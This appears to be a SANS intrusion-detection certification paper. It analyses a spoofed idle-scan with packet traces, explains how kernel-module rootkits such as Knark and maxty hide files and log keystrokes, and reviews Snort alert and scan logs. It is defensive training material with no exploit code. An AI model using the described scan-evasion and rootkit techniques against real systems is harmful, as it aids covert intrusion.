There is a 90% chance the true scanner is spoofing the "sensor's" IP address (see Attack Mechanism below). It is almost a certainty that these packets are crafted due to the static IP ids, both the syn and fin flags set in the packet, and the source and destination port being the same in every case. One would usually say that a scan of this type would not be spoofed because information could not flow back to the scanning machine, but this detect is similar to other detects of a tool called Idlescan, an anonymous port scanner which uses the source address in the detect as an unwitting "sensor" or "silent" host. Therefore, the source address is a valid machine that

is being "used" to perform in this scan, but is not the true machine performing the scan.

Source address whois information for the "sensor" machine:

Server used for this query: [whois.apnic.net]

% Rights restricted by copyright. See http://www.apnic.net/db/dbcopyright.html

inetnum: 203.232.0.0 - 203.232.127.255
netname: KORNET
descr: Korea Telecom
descr: 100 Sejong-no Chongno-gu Seoul, Korea
descr: 110-777
country: KR
admin-c: GC1-AP
tech-c: JK14-AP
remarks: ISP in Korea
changed: hostmast@rs.krnic.net 980707
source: APNIC

person: Gisu Choi
address: Korea Telecom
address: 100 Sejong-no Chongno-gu Seoul, Korea
phone: +82 2 766 1407
fax-no: +82 2 766 6008
country: KR
e-mail: mgr@ns.kornet.nm.kr
nic-hdl: GC1-AP
mnt-by: MAINT-NULL
changed: hostmast@rs.krnic.net 19980702
source: APNIC

person: Junho Kim
address: Korea Telecom
address: 100 Sejong-no Chongno-gu Seoul, Korea
phone: +82 2 3673 5611
fax-no: +82 2 766 6008
country: KR
e-mail: ip@ns.kornet.nm.kr

nic-hdl: *JK14-AP*
mnt-by: *MAINT-NULL*
changed: *hostmast@rs.krnic.net 19980702*
source: *APNIC*

4. Description of attack:

This scan is designed to gain information about the destination host, honey.net, while the true source of the scanning remains anonymous.

5. Attack mechanism:

The source address, being used as the "sensor" in the detects, appears to perform a syn/fin scan of the destination source, but in fact the initial syn/fin scan contains a spoofed source address sent from the true scanning host. The true scanning host then performs an examination of the "sensor" by sending a packet designed to get the "sensor" to respond in a predictable manner back to the true scanning host, usually a ping request, before and after sending the syn/fin packet to the destination host. The true scanning host, by examining the difference in the "sensors" IP ids, can deduce whether or not a response was sent from the destination host to the "sensor" machine and whether the "sensor" machine answered that packet. If the "sensor" machine did not answer, then the packet sent from the destination host was a reset/ack. If the "sensor" machine sent exactly one response back to the destination host, then the packet sent from the destination host was a syn/ack, which the "sensor" host did not expect. The "sensor" host logically sends back a reset/ack, giving the one packet response and giving the true scanning host a predictable way to scan anonymously.

Okay, that was the easy part; the problem with this scenario is that Idlescan, in its raw form, was not written to make the ftp connection portion in the trace above. Therefore, I believe this to be an Idlescan variant made to incorporate another aspect. An examination of the trace reveals that the source address has

three different time to live values, 23, 236, and 45. I believe 23 and 45 are forged ttls from true scanner, 236 is the ttl from the "sensor". The true scanner knows that the ftp port is open, from the previous successful scan. The true scanner then forges a syn packet using the "sensor's" IP address and immediately sends an ack again, forging the "sensor's" IP address, hoping that the destination host will send the ftp banner to the "sensor". The "sensor" has probably been compromised and has a sniffer running on it just to save banners for later use. In this case the destination does send the data. The true scanner then forges another ack with the "sensor's" IP address and then immediately sends a fin packet to disconnect the session. Since the destination had sent two unsolicited packets to the "sensor" before the fin came, the "sensor" sends two successive reset packets, you can tell by the IP ids being sequential, back to the destination. Now the intruder can go back to the sniffer on the "sensor" anytime and grab the banner data.

This displays a fairly detailed knowledge of networking in general, a fairly extensive "virtual network" of exploited machines and sophistication with spoofing connections.

6. Correlations:

This one has a very good correlation with other systems on different days, but I think the others missed the true importance of this scan. The Korean host is NOT the true source of the scan. The true source remains undetected.

http://www.sans.org/y2k/032101.htm
(Matt Fearnow)

An interesting scan here. Possibly a new worm? 21, 109, 53, 515, 3128, 111. With same source ports. I did not
get a snort capture of this, so I don't have the packets.

Mar 19 20:23:36 macew ipmon[19665]: tl0 @0:18 b 203.232.4.4,21 ->

```
    x.x.x.145,21 PR tcp len 20 40 -SF IN
  Mar 19 20:23:46 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,109 ->
    x.x.x.145,109 PR tcp len 20 40 -SF IN
  Mar 19 20:23:56 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,53 ->
    x.x.x.145,53 PR tcp len 20 40 -SF IN
  Mar 19 20:24:10 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,515 ->
    x.x.x.145,515 PR tcp len 20 40 -SF IN
  Mar 19 20:24:22 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,3128 ->
    x.x.x.145,3128 PR tcp len 20 40 -SF IN
  Mar 19 20:24:37 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,111 ->
    x.x.x.145,111 PR tcp len 20 40 -SF IN

  Mar 19 20:45:17 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,21 ->
    x.x.x.146,21 PR tcp len 20 40 -SF IN
  Mar 19 20:45:27 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,109 ->
    x.x.x.146,109 PR tcp len 20 40 -SF IN
  Mar 19 20:45:37 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,53 ->
    x.x.x.146,53 PR tcp len 20 40 -SF IN
  Mar 19 20:45:50 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,515 ->
    x.x.x.146,515 PR tcp len 20 40 -SF IN
  Mar 19 20:46:01 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,3128 ->
    x.x.x.146,3128 PR tcp len 20 40 -SF IN
  Mar 19 20:46:18 macew ipmon[19665]: tl0 @0:18 b
203.232.4.4,111 ->
    x.x.x.146,111 PR tcp len 20 40 -SF IN
```

http://www.sans.org/y2k/022001.htm
(Bill Royds)

Someone from Korea tried and interesting SYN-FIN scan today to my home cable modem. I had ethereal monitoring all incoming traffic while I was away at work so I have complete packets. Times are EST (UTC -5:00) NTP synchronised. Anybody else seen this

```
Frame 68 (60 on wire, 60 captured)
    Arrival Time: Feb 16, 2001 12:46:24.6808
```

```
      Time delta from previous packet: 0.000000
seconds
      Frame Number: 68
      Packet Length: 60 bytes
      Capture Length: 60 bytes
  Ethernet II
      Destination: 00:80:c8:cc:dd:ee
(cable.modem.host.home.com)
      Source: 00:01:97:d5:24:40 (r1-ge2-
0.rchrd1.on.home.net)
      Type: IP (0x0800)
      Trailer: 000000000000
  Internet Protocol
      Version: 4
      Header length: 20 bytes
      Type of service: 0x00 (None)
          000. .... = Precedence: routine (0)
          ...0 .... = Delay: Normal
          .... 0... = Throughput: Normal
          .... .0.. = Reliability: Normal
          .... ..0. = Cost: Normal
      Total Length: 40
      Identification: 0x9a02
      Flags: 0x00
          .0.. = Don't fragment: Not set
          ..0. = More fragments: Not set
      Fragment offset: 0
      Time to live: 23
      Protocol: TCP (0x06)
      Header checksum: 0x396c (correct)
      Source: 203.232.4.4 (203.232.4.4)
      Destination: cable.modem.host.home.com
(24.x.y.z)
  Transmission Control Protocol, Src Port: ftp (21),
Dst Port: ftp (21),
    Seq: 773625154, Ack: 450198450
      Source port: ftp (21)
      Destination port: ftp (21)
      Sequence number: 773625154
      Header length: 20 bytes
      Flags: 0x0003 (FIN, SYN)
          0... .... = Congestion Window Reduced (CWR):
Not set
          .0.. .... = ECN-Echo: Not set
          ..0. .... = Urgent: Not set
          ...0 .... = Acknowledgment: Not set
          .... 0... = Push: Not set
```

```
            .... .0.. = Reset: Not set
            .... ..1. = Syn: Set
            .... ...1 = Fin: Set
        Window size: 1028
        Checksum: 0x816b

     0  0080 c8cc ddee 0001 97d5 2440 0800 4500
.....}....$@..E.
    10  0028 9a02 0000 1706 396c cbe8 0404 1870
.(......9l.....p
    20  yyzz 0015 0015 2e1c 9542 1ad5 7bb2 5003
.........B..{.P.
    30  0404 816b 0000 0000 0000 0000
...k........

  Frame 77 (60 on wire, 60 captured)
        Arrival Time: Feb 16, 2001 12:46:34.8719
        Time delta from previous packet: 10.191067
seconds
        Frame Number: 77
        Packet Length: 60 bytes
        Capture Length: 60 bytes
  Ethernet II
        Destination: 00:80:c8:cc:dd:ee
(cable.modem.host.home.com)
        Source: 00:01:97:d5:24:40 (r1-ge2-
0.rchrd1.on.home.net)
        Type: IP (0x0800)
        Trailer: 000000000000
  Internet Protocol
        Version: 4
        Header length: 20 bytes
        Type of service: 0x00 (None)
            000. .... = Precedence: routine (0)
            ...0 .... = Delay: Normal
            .... 0... = Throughput: Normal
            .... .0.. = Reliability: Normal
            .... ..0. = Cost: Normal
        Total Length: 40
        Identification: 0x9a02
        Flags: 0x00
            .0.. = Don't fragment: Not set
            ..0. = More fragments: Not set
        Fragment offset: 0
        Time to live: 23
        Protocol: TCP (0x06)
        Header checksum: 0x396c (correct)
```

```
      Source: 203.232.4.4 (203.232.4.4)
      Destination: cable.modem.host.home.com
(24.x.y.z)
  Transmission Control Protocol, Src Port: pop (109),
Dst Port: pop (109),
    Seq: 958844489, Ack: 1810580195
      Source port: pop (109)
      Destination port: pop (109)
      Sequence number: 958844489
      Header length: 20 bytes
      Flags: 0x0003 (FIN, SYN)
          0... .... = Congestion Window Reduced (CWR):
Not set
          .0.. .... = ECN-Echo: Not set
          ..0. .... = Urgent: Not set
          ...0 .... = Acknowledgment: Not set
          .... 0... = Push: Not set
          .... .0.. = Reset: Not set
          .... ..1. = Syn: Set
          .... ...1 = Fin: Set
      Window size: 1028
      Checksum: 0x2463

     0  0080 c8cc ddee 0001 97d5 2440 0800 4500
.....}....$@..E.
    10  0028 9a02 0000 1706 396c cbe8 0404 1870
.(......9l.....p
    20  yyzz 006d 006d 3926 ce49 6beb 42e3 5003
...m.m9&.Ik.B.P.
    30  0404 2463 0000 0000 0000 0000
..$c........
```

(Marc Reibstein)

On 2/17/2001 I saw the following in my firewall logs. Looks like a scan for all the "popular" exploitable services
with POP2 (a first for me) thrown in for good measure.

```
  02/17/2001 06:19:05 in 203.232.4.4[21] -->
my.cable.subnet.ip[21]
  02/17/2001 06:19:16 in 203.232.4.4[109] -->
my.cable.subnet.ip[109]
  02/17/2001 06:19:29 in 203.232.4.4[53] -->
my.cable.subnet.ip[53]
```

02/17/2001 06:19:40 in 203.232.4.4[111] --> my.cable.subnet.ip[111]
02/17/2001 06:19:59 in 203.232.4.4[515] --> my.cable.subnet.ip[515]

According to APNIC, 203.232.4.4 belongs to Korea Telecom. The source, 203.232.4.4, looks to be a compromised web server (Apache 1.3.12).

http://www.sans.org/y2k/022301-1600.htm
Here's a cool scan from Korea Telecom. This looks like a programmed scan, but there are some big gaps between some of them.

[**] IDS441 - SCAN - Synscan Portscan [**]
02/20-03:10:57.249501 203.232.4.4:21 -> aaa.bbb.ccc.ddd:21
TCP TTL:21 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
*******SF Seq: 0x5D1144BC Ack: 0x6BC5B555 Win: 0x404 TcpLen: 20*

[**] RECON - ftp (tcp/21) inbound [**]
02/20-03:10:57.780754 203.232.4.4:4435 -> aaa.bbb.ccc.ddd:21
TCP TTL:43 TOS:0x0 ID:38408 IpLen:20 DgmLen:60 DF
*******S* Seq: 0x38451CAA Ack: 0x0 Win: 0x7D78 TcpLen: 40*
TCP Options (5) => MSS: 1460 SackOK TS: 94602008 0 NOP WS: 0

[**] IDS441 - SCAN - Synscan Portscan [**]
02/20-03:11:07.656692 203.232.4.4:109 -> aaa.bbb.ccc.ddd:109
TCP TTL:21 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
*******SF Seq: 0x158A35E8 Ack: 0x71513CFB Win: 0x404 TcpLen: 20*

[**] OVERFLOW - Possible attempt at MS Print Services [**]
02/20-03:11:50.482369 203.232.4.4:515 -> aaa.bbb.ccc.ddd:515
TCP TTL:21 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
*******SF Seq: 0x1C218266 Ack: 0x5E0B98B4 Win: 0x404 TcpLen: 20*

http://www.sans.org/y2k/021201-1200.htm

(John L. Driggers)

Matt -Looks like we are also being scanned pretty heavily right now - I'm in the process of pulling logs at the
moment, but

1] We are seeing halfscans originating from 293.232.4.4 targeting addresses
as such a.b.c+1.21 (so first target is a.b.1.21, second is a.b.2.21, etc)
2] Immediately following the halfscan, the same source request a dns zone
xfer from the address a.b.c-5.21

The source looks spoofed - the ttls on my traces and the attacks are off by quite a bit. Same type of activity as
yesterday, apparent sources as follows :

133.34.33.250
203.232.4.4
205.188.147.53
206.55.155.35

LiquidK's Bugtraq Post, 3 Dec 1999: idelscan (ip.id portscaner)
http://www.shmoo.com/mail/bugtraq/dec99/msg00043/.shtml

antirez's Bugtraq Post, 18 Dec 1998: new tcp scan method
http://www.securityfocus.org/templates/archive.pike?list=1&date=1998-12-15&msg=19981218074757.A990@seclab.com

Terry Bidwell's GIAC Post, 11/16/00
http://www.sans.org/y2k/111600.html

Chris Kuethe: GCIA Practical Assignment
http://www.sans.org/y2k/practical/chris_kuethe_gcia.html

Spoof Bounce, Kevin Van Dixon, February 19, 2001

http://www.sans.org/infosecFAQ/intrusion/spoof.htm

7. Evidence of active targeting:

No, I see no evidence of active targeting. However, I can tell by the timing of the packets that a script is performing the scan. No person can send the packets to the honey.net machine as fast as the trace shows.

8. Severity:

This machine is the firewall, a critical component of the network, so I will then mark criticality of the target as a 5.

The intruder was able to gather some good information about the ports on the honey.net machine, so I will mark the lethality of the attack as a 3. There is little you can do to defend against scanning, except to close all ports not being used.

The machine is an older machine running a fairly recent version of linux with tcpdump running several ways in order to save output files and display alerts. However not all patches have been applied, so we will mark the system's countermeasures as a 3.

This machine is the firewall, with several other machines residing behind it. The firewall gets hit a lot and has very few open ports. The machines behind this firewall have yet to be attacked, so I give the network countermeasures of this machine a 4 in this case.

Therefore, the severity of this attack is:

(Criticality + Lethality) – (System + Network Countermeasures) = Severity

(5 + 3) – (3 + 4) = 1

I would not in this case consider this a severe attack and would not deploy the Incident Handling team. I would, however, be on the lookout for unauthorized connections to all the open ports on the machine.

9. Defensive recommendation:

None further, in this case. While there are several ports open on this machine, they are left open on purpose and are closely watched. Anyway, there are not many of them open. The rest of the ports are closed. The security perimeter worked exactly as it should have in this case.

10. Multiple choice test question:

What about the network trace shown above was not a clue that the stimulus packets were spoofed?

a) the source port and the destination port were the same in every case
b) the number of bytes sent on the packet was zero, (0)
c) the syn and the fin flag were set
d) the IP ids were the same value, 39426.

Answer: (b) The number of bytes that should be sent on an initiating packet is zero, (0).

(a) No, the source port should be some ephemeral port, while the destination port should be a well-known port for your system.

(c) No, the syn and the fin flags should never be set together in a normal packet.

(d) No, normal IP ids from so many different machines have a very low chance of all being the same. In fact it is probably closer to zero than winning the lottery.

Assignment 2 - Describe the State of Intrusion Detection

Intended to be used as a SANS Intrusion Detection FAQ:

QUESTION: What is a kernel mod and is it a good thing or a bad thing?

ANSWER: A kernel mod, or module, is an object file containing code that is compiled or linked into the kernel. The kernel is defined as: the central module of an operating system. It is part of the operating system that loads first, and it remains in main memory. Because it stays in memory, it is important for the kernel to be as small as possible while still providing all the essential services required by other parts of the operating system and applications. Typically, the kernel is responsible for memory management, process and task management, and disk management. It is possible to change the way the kernel reacts via a kernel module. This makes kernel modules very powerful. However, because direct kernel changes may adversely affect the operating system and direct kernel modules are very hard to write, very few people code directly into the kernel. In addition, direct kernel modules can only be extremely small, severely limiting their usefulness. There are better, and easier, ways to modify the kernel.

Loadable Kernel Modules (LKM) are dynamically linked into the kernel as needed and can even be done while the system is running. The main purpose of this feature is to ensure the kernel remains as small as possible, while still allowing it to load additional drivers, such as sound card support or printer driver support, to your laptop when it is needed. It is also easier to write an LKM than to write code directly into the kernel source tree. Therefore, LKMs are the intruder's choice method of modifying the kernel.

Access to the kernel is not easy. On most systems, memory is divided into two parts: kernel space and user space. Kernel space is mapped into each process' address space, while user space is local to each process. A given program may not write into kernel memory because of the separation of kernel and user identities. Typically the kernel may not access user memory either. When we execute

a system call, the kernel passes execution of the program to kernel space via a "system trap". This allows the operating system to maintain the separation of user space and kernel space. This is important because only the "root" user has access to the commands that allow you to enter modules into the kernel space.

The key to gaining access to the kernel space is the global system calls table, which enumerates all system calls and their addresses. Access to this table is given through the *insmod* command. This inserts a module into this global structure. Modules inserted in this manner must be carefully written to conform to a special kernel module structure and will be running in kernel mode, so calls to other functions can not use standard user commands, but must be called using pointers or special macros that are available in the kernel space. Care must be taken, the modules are kernel code now, and though they may seem easy to write, any programming error could have disastrous results.

Once inserted correctly, the kernel module can be used to perform any function at the lowest level possible of the operating system. Low level reads could be made to skip specific details, low level writes could be adjusted to report erroneous findings, or whole programs could be redirected to hidden trojan programs without the user knowing. Since this activity is being done at the kernel level, standard checksum tool will not detect changes in the system binaries, the originals can remain untouched and in place. Configuration-checking tools likewise will not find anything wrong with the PATH environment, since redirection is being performed in the kernel not at the OS level. LKMs themselves can be rendered invisible, since the installing and removing of loadable modules is done at the kernel level, although secured by "root" level access. In short, once inside the kernel, the intruder has full control of the operating system and every command could be affected by a simple modification to the correct system call. At this point you cannot trust your system at all.

Programs like *Knark* and *maxty* are examples of the mischievous things that can be done using kernel modules and loadable kernel modules. *Knark*, the Swiss army knife of kernel modules, has a number of features. It can:

- Hide / unhide files or directories
- Hide TCP or UDP connections
- Redirect execution of commands
- Escalate privileges in an unauthenticated manner

- Change the UID / GID of a running process
- Establish a remote privileged connection
- Hide a running process

Maxty, on the other hand, is very specialized and small. Maxty is a small kernel-space tty sniffer. It attaches to read/write calls and saves incoming/outgoing requests to open tty devices. In other words, it is a kernel based tty keystroke logger.

There are, however, good uses of kernel modules. *Saint Jude*, *lids*, and *medusa* are examples of kernel modules used for securing a system. *Saint Jude* is an LKM module that discovers local improper privilege escalation during the exploit itself. Once discovered, *Saint Jude* will terminate the execution, preventing the root exploit from ever occurring. Since this is being done at the kernel level, there are no attack signatures, and thus should work for both known and unknown exploits. *Lids* (Linux IDS) protects important files from being changed, even if the intruder has "root" user. This extension can also extend to directories such that an intruder breaking into a web site, for example, would not be able to change any of the files or directories protected by *lids*. And finally, *medusa* is package, which extends the standard Linux (Unix) security architecture, but preserving backward compatibility, has these features:

- Full access control to any file
- Ability to redirect access to certain files to others
- Complete control of signal sending/receiving
- Direct control of important process actions
- Control of execution of any syscalls for a specified process
- Assign files to virtual subsystems
- Assign access rights to files (could be used to hide processes or files from other processes)
- Assign every process a login uid
- Ability to force execution of specified code to any process
- Control of any low level system call

In addition, *medusa*, has a "c-like" configuration language with the ability to implement any of your own security models.

There are very few defenses against installing kernel modules as an exploit. The most obvious is, don't let an attacker get root on your system in the first place.

Secondly, building and using static kernels that do not take advantage of LKMs could be done. However, while this might work on a static server machine, laptops and workstations that rely on plug-and-play resources or dynamic environments could not take advantage of this option. Finally, you could use other programs like *lcap*, to remove the capability to load LKMs once the system has completed booting. This will, if implemented correctly, prevent an attacker from loading an LKM while the system is running. However, an attacker could modify the startup sequence to load the LKM before the *lcap* program is executed.

As a wrap-up, kernel modules are a way to modify the operating system kernel to perform and act in any manner you wish to code into it. This "feature", like many provided, can be used for both bad and good. Once a kernel module is installed, it can be very difficult to determine if it is there and how to remove it. Nothing on a system compromised with a kernel module should be trusted. "Good" kernel modules could be created to discover the effects of "bad" kernel modules. It would just take a little knowledge and time. As always, there will be a counter for the exploit, when the community recognizes the threat and acts upon it.

REFERENCES:

1. "Webopedia"; http://www.webopedia.com/TERM/k/kernel.html

2. plaguez (psued.); "Weakening the Linux Kernel", http://packetstorm.securify.com/mag/phrack/phrack52/P52-18

3. Jonathan Clemens; "Knark: Linux Kernel Subversion", http://www.sans.org/newlook/resources/IDFAQ/knark.htm

4. Marek Zelem, Milan Pikula, Martin Ockajak; "Medusa DS9 Security System", http://medusa.fornax.sk/

5. Tim Lawless; "The Saint Jude Project", http://www.sourceforge.net/projects/stjude

6. Silvio Cesare; "Runtime Kernel KMEM Patching", http://packetstorm.secuify.com/9901-exploits/runtime-kernel-kmem-patching.txt

7. Paul Starzetz; "maxty", http://packetstorm.securify.com/linux/security/maxty.tar.gz

8. Christopher Long; "Linux IDS Patch (lids) for Linux", http://www.soaring-bird.com.cn/oss_proj/lids/index.html

9. Spoon (psued.); "LCAP", http://pweb.netcom.com/~spoon/lcap

10. Pragmatic (psued.); "(nearly) Complete Linux Loadable Kernel Modules", http://packetstorm.securify.com/groups.thc/LKM_HACKING.html

Assignment #3: "Analyze This" Scenario

1. Analysis Method

First, a little explanation about the method that was used to analyze the data from GIAC Enterprise should be discussed to set the stage and to establish credibility. A program written by Chris Kuethe, alertcount.pl that can be found at http://www.sans.org/y2k/practical/chris_kuethe_gcia.html, was used to initially process the alert files. This small perl program, with a slight modification, was able to quickly transform the staggering amount of data into workable counts of IPs and alert types. The outputs from this program were then sorted and used as a guide to perform traffic analysis of specific machines in all the snort output data files. Similarly, another program written by Chris Kuethe, scancount.pl that can be found at http://www.sans.org/y2k/practical/chris_kuethe_gcia.html, was used to initially process the scan files. This small perl program was similarly used to transform the scan data into workable files that were then sorted and used as a guide to perform additional analysis of the IPs highlighted within them. Finally, the snort capture files were analyzed for additional suspicious activity. These files were also used to support or verify the findings of the above analysis. Additionally, previous practical assignments were used to correlate any findings. Correlations can be found at:
http://www.sans.org/y2k/practical/chris_kuethe_gcia.html
http://www.sans.org/y2k/practical/David_Thibault_GCIA.html
http://www.sans.org/y2k/practical/JoanneTreurniet.html

2. Scan Files

Like any entity on the Internet, GIAC Enterprise is getting scanned on a very regular basis. Scans do not mean GIAC Enterprise has been compromised; however they are indicators that can be used to determine

where on the network a compromise might occur next. For example, if a single machine is getting scanned heavily, it is worth the time to check that machine's defenses. Here are the top 20 machines that are getting scanned on the GIAC Enterprise network:

Number of scans	Local machine
1438	MY.NET.208.78
200	MY.NET.253.114
179	MY.NET.253.112
156	MY.NET.6.39
133	MY.NET.6.44
96	MY.NET.5.29
89	MY.NET.60.11
79	MY.NET.217.146
63	MY.NET.60.8
52	MY.NET.253.125
51	MY.NET.100.165
47	MY.NET.6.7
44	MY.NET.5.10
42	MY.NET.60.38
35	MY.NET.60.16
30	MY.NET.98.156
25	MY.NET.209.78
23	MY.NET.201.78
21	MY.NET.208.130
17	MY.NET.60.14

In addition, it is also wise to see who is scanning GIAC Enterprise. Realize that 90% of these machines are not the true culprits performing the scan, but rather victim sites that have either been compromised and are being used to scan or have had their IP addresses spoofed so they only look like they are the scanning host. One should be careful to use this list as a block or watch list due to what was described above. Most of these machines are not the true source of the scan and blocking them would do little good except for a temporary halt in the activity while the true attacker finds another host to use. Below are the top 20 external sites that are currently scanning GIAC Enterprise:

Number of scans	External machine
14941	133.1.36.184
4096	147.8.182.157
3052	194.204.224.131
1790	200.194.102.99
1242	63.204.152.253
630	132.68.37.141
347	209.157.133.43
325	209.44.81.175
118	209.10.98.246
118	207.32.161.85
118	129.120.59.15
118	128.173.240.73
107	128.97.68.129
85	128.171.147.39
78	24.113.198.51
53	128.238.35.91
44	64.161.240.254
38	205.188.146.23
36	64.242.77.150
31	206.151.78.19

The types of scan being used against GIAC Enterprise, could give GIAC Enterprise an idea of the types of exploits that an intruder may use against them. However, generic scans are more common and widely used in order to find multiple weak points on a network while not giving away specifically targeted ports or machines. These scans are very easy to monitor, which is why true sources are rarely used for the scan. They are impossible to completely stop. If GIAC Enterprise has any presence on the network, GIAC Enterprise is going to get scanned. The Honey pot project, measured the amount of time a system makes a presence on the network till the time it is scanned is a matter of minutes. The types of scans that are being used against the GIAC Enterprise network are:

Number of times scanned	Type of Scan
26034	SYNFIN
5199	NOACK
3693	INVALIDACK
2492	UNKNOWN
2225	FIN

1599	NULL
1204	VECNA
355	FULLXMAS
232	XMAS
186	SPAU
143	NMAPID

These scans are designed to pass through firewalls and filtering routers easily by setting an unusual set of flags, options, window sizes, etc. and perform reconnaissance on the network. The intruder is either trying to get a response back from a valid machine so he can identify the active IP addresses on the network, or the intruders are trying to use the scans to find out what type of machine and operating system is being used so they return later with the correct exploits to gain unauthorized access to the machine.

- SYNFIN scans have been used on the Internet for many years now. Originally designed to bypass firewalls by setting the FIN bit. Many routers, at the time, saw the FIN bit set and assumed this packet was closing an already open connection.
- The NOACK scans are scans with no ACK bit set. These scans are used since only a single type of packet should have no ACK bit set and that is an initial SYN packet to start a session. Crafted packets of this sort with other bits set instead are designed to bypass filtering and solicit a response from a host.
  Similarly, the INVALIDACK scan sets the ACK bit, but with unusual combinations of other bits. These scans are designed to help "fingerprint" a system by soliciting unique responses to the invalid bits being set. Fingerprinting systems is done by sending invalid combinations of flags in the packet, which many operating systems will respond to in unique manner thus allowing the intruder to guess at the type of system being used. This is useful to discover the correct exploit to use on the machine at a later date. The following is a top 20 list of internal hosts fingerprinted by an external source:

Connections	**Internal Machines**
204	MY.NET.219.114

127	MY.NET.201.130
51	MY.NET.201.62
39	MY.NET.204.38
38	MY.NET.223.226
37	MY.NET.224.242
28	MY.NET.201.66
20	MY.NET.202.46
16	MY.NET.53.108
10	MY.NET.60.8
8	MY.NET.219.210
7	MY.NET.253.43
6	MY.NET.60.38
6	MY.NET.53.184
6	MY.NET.217.242
6	MY.NET.210.6
6	MY.NET.201.78
5	MY.NET.202.26
4	MY.NET.60.11
4	MY.NET.253.42

The following is a top 20 list of external hosts used to fingerprint GIAC Enterprise's network:

Connections	**External Machines**
204	206.65.191.129
144	63.78.39.192
49	141.30.228.161
41	141.30.228.43
30	141.30.228.36
26	141.30.228.226
23	141.30.228.199
21	134.2.214.47
19	204.192.85.123
15	141.30.228.115
11	204.42.254.5
10	64.80.118.241
10	141.30.228.175
9	141.30.228.182
8	141.30.228.178
8	128.46.156.117
7	64.242.77.150
5	141.30.228.58
5	141.30.228.221
5	141.30.228.120

- The Unknown scans are scans with unusual combinations of bits set. These are designed for a number of different reasons, but usually to fingerprint a system as described above.
- The FIN scan was developed to work in the manner as described by the SYNFIN scans above. It will also generate a response from some systems allowing them to be fingerprinted.
- The null scan has none of the flags set and is also used to fingerprint systems.
- The "Vecna" scan is a scan with a unique set of flags set, U, P, U&P,P&F or F&U. These combinations of flags were designed to bypass IDSes and still get machines on the network to respond in a known manner.
- The FULLXMAS scans, all flag bits set, and the XMAS scans, F&P&U bits set, are used to fingerprint systems.
- The SPAU, so named because the S&P&A&U bits are set, is also used to get a response and possibly fingerprint the system.
- Finally, the NMAPID scan is a unique pattern, S&F&P&U bits set, used to identify machine types by fingerprinting them as described above.

All of these scans can be used to target GIAC Enterprise's network at a later date. The scans, themselves, are not usually harmful; some can cause a Denial of Service (DoS); but may be precursors to future unauthorized activity. An even better indicator of unauthorized activity is when GIAC Enterprise's internal network machines perform external scans. Unless GIAC Enterprise authorizes scanning other networks, large scale scanning from internal machines usually indicate the machine has been compromised or is being used for unauthorized activity. Either way these top 10 internal machines should be looked at for unauthorized use:

Number of scans	Internal machine
6706	MY.NET.217.158
3548	MY.NET.217.150
1578	MY.NET.219.126
1305	MY.NET.217.182
504	MY.NET.217.126
93	MY.NET.186.16

41	MY.NET.186.17
16	MY.NET.201.94
15	MY.NET.98.156
10	MY.NET.209.162

3. Alert Files

Snort alerts do not necessarily mean that the machine indicated has been compromised. Like all IDSes, snort alerts should be used as an indication of unauthorized activity, not a definitive answer. GIAC Enterprise's snort alerted on the following activities:

Number of Alerts	Type of Alert
105918	Watchlist 000220 IL-ISDNNET-990517
51192	SYN-FIN scan!
16146	DNS udp DoS attack described on unisog
5340	Tiny Fragments - Possible Hostile Activity
4238	Connect to 515 from outside
2401	Watchlist 000222 NET-NCFC
2239	WinGate 1080 Attempt
2053	Attempted Sun RPC high port access
826	Null scan!
710	Queso fingerprint
591	SNMP public access
558	NMAP TCP ping!
546	Russia Dynamo - SANS Flash 28-jul-00
515	SMB Name Wildcard
204	SUNRPC highport access!
159	Connect to 515 from inside
154	Broadcast Ping to subnet 70
100	TCP SMTP Source Port traffic
77	Back Orifice
59	External RPC call
8	Probable NMAP fingerprint attempt
2	site exec - Possible wu-ftpd exploit - GIAC000623
1	STATDX UDP attack

1	SITE EXEC - Possible wu-ftpd exploit - GIAC000623
1	Happy 99 Virus

While all these alerts should be followed up on, some are more important than others. The following table shows the same alerts in priority order:

Number of Alerts	**Type of Alert**
77	Back Orifice
2	site exec - Possible wu-ftpd exploit - GIAC000623
1	SITE EXEC - Possible wu-ftpd exploit - GIAC000623
1	STATDX UDP attack
59	External RPC call
204	SUNRPC highport access!
591	SNMP public access
4238	Connect to 515 from outside
1	Happy 99 Virus
515	SMB Name Wildcard
546	Russia Dynamo - SANS Flash 28-jul-00
2053	Attempted Sun RPC high port access
154	Broadcast Ping to subnet 70
2239	WinGate 1080 Attempt
16146	DNS udp DoS attack described on unisog
5340	Tiny Fragments - Possible Hostile Activity
105918	Watchlist 000220 IL-ISDNNET-990517
2401	Watchlist 000222 NET-NCFC
710	Queso fingerprint
8	Probable NMAP fingerprint attempt
51192	SYN-FIN scan!
826	Null scan!
558	NMAP TCP ping!
159	Connect to 515 from inside
100	TCP SMTP Source Port traffic

The ordering of this list is very subjective and others may not agree with it, but here is the rationale for this ordering.

- The first nine alert types were put as the highest priority because they indicate a possible machine compromise. Even though the numbers are low, it takes just one valid access of this kind to compromise the whole network by gaining initial access to one machine then expanding from there.
- The next five alert types indicate a directed attempt to gain access to machines, but the type of attack is less likely to succeed than the initial nine.
- The next two alert types are indicators that an intruder is trying to perform a DoS against GIAC Enterprise's machines. DoS attacks do not necessarily indicate the intruder has any access to GIAC Enterprise's machines, but they can be devastating by denying the use of network and Internet machines that are critical to operations.
- The next two alerts indicate that networks known to be highly associated with intrusive and unauthorized activity have been attempting to scan or connect to GIAC Enterprise's network. This does not mean that an intruder is targeting GIAC Enterprise's network, but rather there is a valid reason to watch connections from these domains.
- The next five alert types indicate specific types of scans have tried to gather information about GIAC Enterprise's network. Just like the scans from above these scans are not themselves intrusive, however they can be used as indicators to future intrusive behavior.
- Finally, the last two types can be indicators or intrusive activity, but are also associated with valid activity. These alerts should be baselined and any significant increase in activity should be investigated.

The following is the analysis done on the alerts themselves. In addition to the snort scan logs; the alert logs also highlighted some interesting specialized scans.

